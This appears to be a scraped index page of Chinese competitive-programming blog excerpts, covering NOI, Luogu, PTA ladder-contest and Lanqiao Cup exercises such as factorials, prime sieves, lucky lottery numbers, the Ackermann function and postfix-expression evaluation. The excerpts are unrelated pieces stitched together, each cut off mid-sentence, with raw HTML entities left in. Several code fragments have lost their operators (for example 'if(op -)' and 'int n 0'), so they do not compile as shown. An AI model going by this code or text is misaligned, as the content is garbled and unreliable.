NOI / 1.6编程基础之一维数组 题目排名状态提问 14:求10000以内n的阶乘 查看提交统计提问 总时间限制: 5000ms 内存限制: 655360kB 描述 求10000以内n的阶乘。 输入 只有一行输入&#xff0c;整数n&#xff08;0<n<10000&#xff09;。 输出 一行&#xff…

洛谷:P5736 【深基7.例2】质数筛---(5)

本题耗时(21分钟) 小卓同学 在 对 小于2的数 忘记加特殊判断了 然后卡了一下 之后就是在琢磨能不能有更优化的解法 话不多说 直接上代码吧 #include <iostream>using namespace std;int main() {int n 0;int a[101];int i 0;int j 0;cin >> n;for (i0; i<…

L1-062 幸运彩票 (15 分) pta天梯赛 详解

彩票的号码有 6 位数字&#xff0c;若一张彩票的前 3 位上的数之和等于后 3 位上的数之和&#xff0c;则称这张彩票是幸运的。本题就请你判断给定的彩票是不是幸运的。 输入格式&#xff1a; 输入在第一行中给出一个正整数 N&#xff08;≤ 100&#xff09;。随后 N 行&#…

L1-053 电子汪 (10 分) pta天梯赛 详解

据说汪星人的智商能达到人类 4 岁儿童的水平&#xff0c;更有些聪明汪会做加法计算。比如你在地上放两堆小球&#xff0c;分别有 1 只球和 2 只球&#xff0c;聪明汪就会用“汪&#xff01;汪&#xff01;汪&#xff01;”表示 1 加 2 的结果是 3。 本题要求你为电子宠物汪做一…

L1-049 天梯赛座位分配 (20 分) 天梯赛 简单易懂

天梯赛每年有大量参赛队员&#xff0c;要保证同一所学校的所有队员都不能相邻&#xff0c;分配座位就成为一件比较麻烦的事情。为此我们制定如下策略&#xff1a;假设某赛场有 N 所学校参赛&#xff0c;第 i 所学校有 M[i] 支队伍&#xff0c;每队 10 位参赛选手。令每校选手排…

L1-045 宇宙无敌大招呼 (5 分) 简单易懂

据说所有程序员学习的第一个程序都是在屏幕上输出一句“Hello World”&#xff0c;跟这个世界打个招呼。作为天梯赛中的程序员&#xff0c;你写的程序得高级一点&#xff0c;要能跟任意指定的星球打招呼。 输入格式&#xff1a; 输入在第一行给出一个星球的名字S&#xff0c;…

《程序设计基础》 第十章 函数与程序结构 6-3 递归计算Ackermenn函数 (15 分)

本题要求实现Ackermenn函数的计算&#xff0c;其函数定义如下&#xff1a; 函数接口定义&#xff1a; int Ack( int m, int n ); 其中m和n是用户传入的非负整数。函数Ack返回Ackermenn函数的相应值。题目保证输入输出都在长整型 范围内。 裁判测试程序样例&#xff1a; #i…

《程序设计基础》 第十章 函数与程序结构 6-2 递归实现指数函数 (15 分)

本题要求实现一个计算xn&#xff08;n≥1&#xff09;的函数。 函数接口定义&#xff1a; double calc_pow( double x, int n ); 函数calc_pow应返回x的n次幂的值。建议用递归实现。题目保证结果在双精度范围内。 裁判测试程序样例&#xff1a; #include <stdio.h>d…

蓝桥杯基础16:BASIC-03试题 圆的面积

资源限制 内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述 给定圆的半径r&#xff0c;求圆的面积。 输入格式 输入包含一个整数r&#xff0c;表示圆的半径。 输出格式 输出一行&…

蓝桥杯——最大和

题目链接&#xff1a;最大和 问题描述 小蓝在玩一个寻宝游戏, 游戏在一条笔直的道路上进行, 道路被分成了 nn 个方格, 依次编号 1 至 nn, 每个方格上都有一个宝物, 宝物的分值是一个整数 (包括正数、负数和零), 当进入一个方格时即获得方格中宝物的分值。小蓝可 以获得的总分…

蓝桥杯 ADV-222 求arccos

蓝桥杯 ADV-222 求arccos 问题描述 利用标准库中的cos(x)和fabs(x)函数实现arccos(x)函数&#xff0c;x取值范围是[-1, 1]&#xff0c;返回值为[0, PI]。要求结果准确到小数点后5位。(PI 3.1415926) 提示&#xff1a;要达到这种程度的精度需要使用double类型。 样例输入 0.5…

【OJ每日一练】1132 - 外卖店优先级

文章目录 一、题目🔸题目描述🔸输入输出🔸样例1二、代码参考作者:KJ.JK🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🍂个人博客首页: KJ.JK 💖系列专栏:OJ每日一练 一、题目 🔸题目描述 “饱了么”外卖系统中维护着N家外卖店,编号1…

蓝桥杯知识点整理

知识点&#xff1a; 1、基本输入输出语法&#xff1a; (1)如cin速度比scanf慢 两者遇到空格回车会停止读入 (2)若想读整行需要cin.getline()或gets函数 (3)读到文件尾用scanf()!EOF等等 (4)占位符‘%’相关格式&#xff0c;如对齐方式&#xff0c;补0等。 2、C/C库函数以及stl模…

后缀表达式运算(操作数均为个位数)

#include<stdio.h>//-----后缀表达式运算 int op(int a,int b,char op){ //传入两个操作数以及运算符if(op -)return a-b;if(op )return ab;if(op *)return a*b;if(op /){ //分母不能为0 if(b0){printf("错误\n");return 0;}else{return a/b;}} } int suf…

中缀表达式转为后缀表达式

#include<stdio.h>//将中缀表达式转为后缀表达式,表达式有n位 ,数字只有一位bool check(char ch1,char ch2){if((ch1 || ch1 -) && (ch2 *||ch2 /))//只有ch1的优先级小于ch2的优先级时才返回truereturn true;return false; } void infixToSuffix(char exp[…

「蓝桥杯」扫地机器人

扫地机器人 题目描述 小明公司的办公区有一条长长的走廊&#xff0c;由 N 个方格区域组成&#xff0c;如下图所示。 走廊内部署了 K 台扫地机器人&#xff0c;其中第 i 台在第 A_i 个方格区域中。已知扫地机器人每分钟可以移动到左右相邻的方格中&#xff0c;并将该区域清扫干…